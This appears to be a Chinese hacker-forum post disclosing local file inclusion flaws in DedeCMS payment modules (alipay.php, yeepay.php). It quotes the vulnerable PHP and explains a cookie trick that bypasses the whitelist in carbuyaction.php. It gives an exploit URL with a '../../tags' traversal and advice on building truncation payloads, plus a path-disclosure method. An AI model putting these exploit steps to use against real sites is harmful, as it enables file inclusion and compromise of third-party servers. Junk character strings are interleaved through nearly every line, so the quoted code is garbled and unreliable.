晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
$ N1 @% Z8 h2 v7 V4 h# A+ B4 h# m: `, L+ @6 Y _0 H
出现漏洞的两个文件为:
9 c, ?- Y8 d" @- n6 @$ UInclude/payment/alipay.php
6 t3 Z1 g6 o5 c! OInclude/payment/yeepay.php
% k0 E/ g' u7 m- T0 s) V- w3 b! y漏洞均出现在respond方法里,估计这两个文件是临时工写的。* L3 ~) M; ~& _1 y
7 A/ e' Q) ?* ~% {$ i# `1 [
Include/payment/alipay.php
5 ~% Z5 ^$ Y, Z% h' I/ w% x. M4 ^ {, C
......
! ?! _" X' @' L0 w$ c) f5 O' A4 U function respond()5 P' `# P" Y6 j2 H5 F
{
3 @3 M3 V8 K9 L w) V6 w if (!empty($_POST))
) \! L7 C5 C! k' E8 x+ f {
: `3 `6 ?+ }! s1 B& e* j. ? foreach($_POST as $key => $data)
* q, o- k( G1 m( _" {% m {/ p5 V/ ^: l" E. O
$_GET[$key] = $data;
5 u, _) z; f( E/ [4 k' `- ^ }
+ ]8 n& f8 N9 v }
% I/ t* K9 a9 S W1 `+ u: Z. J: f8 c \ /* 引入配置文件 */
$ g! V* t" j& D* W. a require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
/ X; ~# \ Y1 y- @7 i7 C7 {......
9 z" N g8 c/ d) D . Y& q% m3 O+ L4 A0 C" ?7 t
5 Q( k5 W4 }3 s2 W: E大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
]+ o' n+ h3 \7 |% X8 P$ M5 |/ v: l3 j B7 D, J
Include/payment/yeepay.php
' `4 v0 H. _/ Z5 C7 N2 R' o0 H" u$ W2 r% k
5 g: w. d( M) I2 I4 \0 N
) F' ^8 _7 Y9 \5 a- x6 S b......8 x+ i6 x3 ^$ M- ~3 D
function respond(); Y5 h! @; H3 Q% m9 _
{
5 z/ v8 T* }( ]* s
* a0 x# l6 |9 S) r4 a" K& c /* 引入配置文件 */
@- r% V M. [6 _- F require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';% _! }, j6 i9 W! Q
3 ?* a& t1 K- K! W- O
$p1_MerId = trim($payment['yp_account']);
# F8 r" L9 y2 m6 q2 C, F $merchantKey = trim($payment['yp_key']);" ^8 G B4 N/ `- ~9 C
...... # ~* `8 T. R& L5 V
2 y o3 D/ s1 b" w7 p( D- H
0 x2 W# r2 t( a5 |3 b" O+ n , g/ l& z3 X- u1 P; O8 ]" V& y
' n& Z8 R( @* _ w大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
# n/ X/ ?7 c' Q4 N
: [) @$ H4 \7 l( c( Z这两个方法在plus/carbuyaction.php文件调用。; u+ S' Y+ q7 I4 {# U; M
, i8 B. c7 G4 j: l1 E
plus/carbuyaction.php
* n+ h. @- }8 n$ F6 l- ?$ x8 w
/ M( n" K8 ?; f) D. y......: A% P) X+ ]: s0 S
} else if ($dopost == 'return') {
# E7 [5 C7 h( Q. q2 ? $write_list = array('alipay', 'bank', 'cod', 'yeepay');) n2 C1 D# S9 T$ S H/ |+ Z
if (in_array($code, $write_list))! _ Z6 x V5 u! q" J6 B
{. s# U$ A. w1 @' b7 e. f
require_once DEDEINC.'/payment/'.$code.'.php';5 j, }) h. T1 C, x* a
$pay = new $code;
( e( Y( D }1 P( \# P& ^/ g% H $msg=$pay->respond();7 d c8 w" A! `* ^& s3 c, a
ShowMsg($msg, "javascript:;", 0, 3000);
8 H2 @. z" a- S9 j: I5 M, U+ G' m$ l( L exit(); 4 _* Z6 ]+ h' a) C
} else {% |- m6 w' z! s) x t
exit('Error:File Type Can\'t Recognized!');
5 u7 [( C) p( _( m( f7 O }+ v# P) L* W( k) x4 T
}
8 @% X- [6 S' G( K2 a......
" W, e+ Z: u+ [" g- ^( y6 K9 `8 e
! P9 c, Q0 V0 C0 E8 J5 P4 Z/ o4 M8 I4 [! G0 ^
8 d4 j# r8 I" S' w4 T4 k S% Q1 e5 I" D; y" g$ }$ q7 E
. M; w4 \& ?, I( g
1 J: x) |# f9 }) E( X8 n8 u大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
4 n+ O" T; E0 I o& f0 U2 m& J所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
+ n) G5 U3 u2 J& K8 ]4 E. c' P8 M: Q' \ E' R6 y' N
回到include/common.inc.php来看看他的机制。
* k4 i8 p/ h- K7 I6 x8 P- E% v* @5 k( z2 K, _* n+ @& m
2 U1 ^+ b3 m- a T5 [( k" H
. e1 ^7 P; Z* g$ l* m: a
......
, t5 F$ W7 v3 ^/ w! P; Pforeach(Array('_GET','_POST','_COOKIE') as $_request)
: { |+ A9 c1 M{6 y. X7 l. b E; T
foreach($$_request as $_k => $_v)
3 J3 B2 a+ ?6 H4 Q7 v {3 `0 d( c1 X1 M! t. H; m
if($_k == 'nvarname') ${$_k} = $_v;6 o p/ x* e- `
else ${$_k} = _RunMagicQuotes($_v);* D2 T( o- Q4 q* f% t; c
}
( z2 E; _* [9 l, G, B' q+ ^}
4 d( a1 K7 @1 P. \- I...... 3 H9 S0 X6 @/ h" o
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:- j/ G9 F( d4 C
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |